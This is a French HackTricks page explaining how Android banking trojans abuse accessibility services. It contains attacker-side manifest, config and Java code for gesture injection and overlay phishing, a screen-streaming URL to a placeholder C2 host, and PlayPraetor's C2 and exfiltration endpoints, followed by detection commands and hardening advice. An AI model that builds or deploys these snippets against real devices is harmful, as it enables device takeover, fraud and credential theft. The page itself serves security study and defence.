Abus des services d'accessibilité Android

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu

AccessibilityService a été créé pour aider les utilisateurs handicapés à interagir avec les appareils Android. Malheureusement, les mêmes API d'automatisation puissantes (navigation globale, saisie de texte, dispatch de gestes, fenêtres superposées…) peuvent être utilisées par des logiciels malveillants pour obtenir un contrôle à distance complet de l'appareil sans privilèges root.

Les chevaux de Troie bancaires Android modernes et les chevaux de Troie d'accès à distance (RAT) tels que PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda et bien d'autres suivent la même recette :

  1. Manipuler la victime pour qu'elle active un service d'accessibilité malveillant (la permission BIND_ACCESSIBILITY_SERVICE est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
  2. Tirer parti du service pour
  • capturer chaque événement UI et texte qui apparaît à l'écran,
  • injecter des gestes synthétiques (dispatchGesture) et des actions globales (performGlobalAction) pour automatiser toute tâche souhaitée par l'opérateur,
  • dessiner des superpositions plein écran au-dessus des applications légitimes en utilisant le type de fenêtre TYPE_ACCESSIBILITY_OVERLAY (pas de prompt SYSTEM_ALERT_WINDOW !),
  • accorder silencieusement des permissions d'exécution supplémentaires en cliquant sur les dialogues système au nom de la victime.
  1. Exfiltrer des données ou effectuer On-Device-Fraud (ODF) en temps réel pendant que l'utilisateur regarde un écran parfaitement normal.

Demande de permission

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Le fichier XML compagnon définit à quoi ressemblera la boîte de dialogue factice :

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitives d'automatisation UI à distance

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Avec seulement ces deux API, un attaquant peut :

  • Déverrouiller l'écran, ouvrir l'application bancaire, naviguer dans son arbre UI et soumettre un formulaire de transfert.
  • Accepter chaque boîte de dialogue de permission qui apparaît.
  • Installer/mettre à jour des APK supplémentaires via l'intention du Play Store.

Modèles d'abus

1. Phishing par superposition (Collecte de données d'identification)

Un WebView transparent ou opaque est ajouté au gestionnaire de fenêtres :

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

La victime saisit des identifiants dans le faux formulaire pendant que l'application en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "dessiner par-dessus d'autres applications" n'est jamais affichée.

Exemple détaillé : la section Phishing par superposition d'accessibilité dans la page Tapjacking.

2. Automatisation de fraude sur l'appareil

Des familles de malware telles que PlayPraetor maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (init, update, alert_arr, report_list, …). Le service traduit ces commandes en gestes de bas niveau ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement l'authentification multi-facteurs liée à cet appareil.

3. Diffusion et surveillance d'écran

En combinant l'API MediaProjection avec une bibliothèque cliente RTMP, le RAT peut diffuser le framebuffer en direct à rtmp://<c2>:1935/live/<device_id>, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur d'accessibilité pilote l'interface utilisateur.


PlayPraetor – flux de travail de commande et de contrôle

  1. Heartbeat HTTP(S) – itérer sur une liste codée en dur jusqu'à ce qu'un domaine réponde POST /app/searchPackageName avec le C2 actif.
  2. WebSocket (port 8282) – commandes JSON bidirectionnelles :
  • update – pousser de nouvelles conf/APKs
  • alert_arr – configurer des modèles de superposition
  • report_list – envoyer la liste des noms de packages ciblés
  • heartbeat_web – maintenir la connexion
  1. RTMP (port 1935) – diffusion en direct d'écran/vidéo.
  2. Exfiltration REST
  • /app/saveDevice (empreinte)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (identifiants bancaires)

Le AccessibilityService est le moteur local qui transforme ces commandes cloud en interactions physiques.


Détection des services d'accessibilité malveillants

  • adb shell settings get secure enabled_accessibility_services
  • Paramètres → Accessibilité → Services téléchargés – rechercher des applications qui ne proviennent pas de Google Play.
  • Les solutions MDM / EMM peuvent appliquer ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) pour bloquer les services sideloadés.
  • Analyser les services en cours d'exécution :
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Recommandations de renforcement pour les développeurs d'applications

  • Marquer les vues sensibles avec android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combiner setFilterTouchesWhenObscured(true) avec FLAG_SECURE pour prévenir le détournement de tap/superposition.
  • Détecter les superpositions en interrogeant WindowManager.getDefaultDisplay().getFlags() ou l'API ViewRootImpl.
  • Refuser de fonctionner lorsque Settings.canDrawOverlays() ou un service d'accessibilité non fiable est actif.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks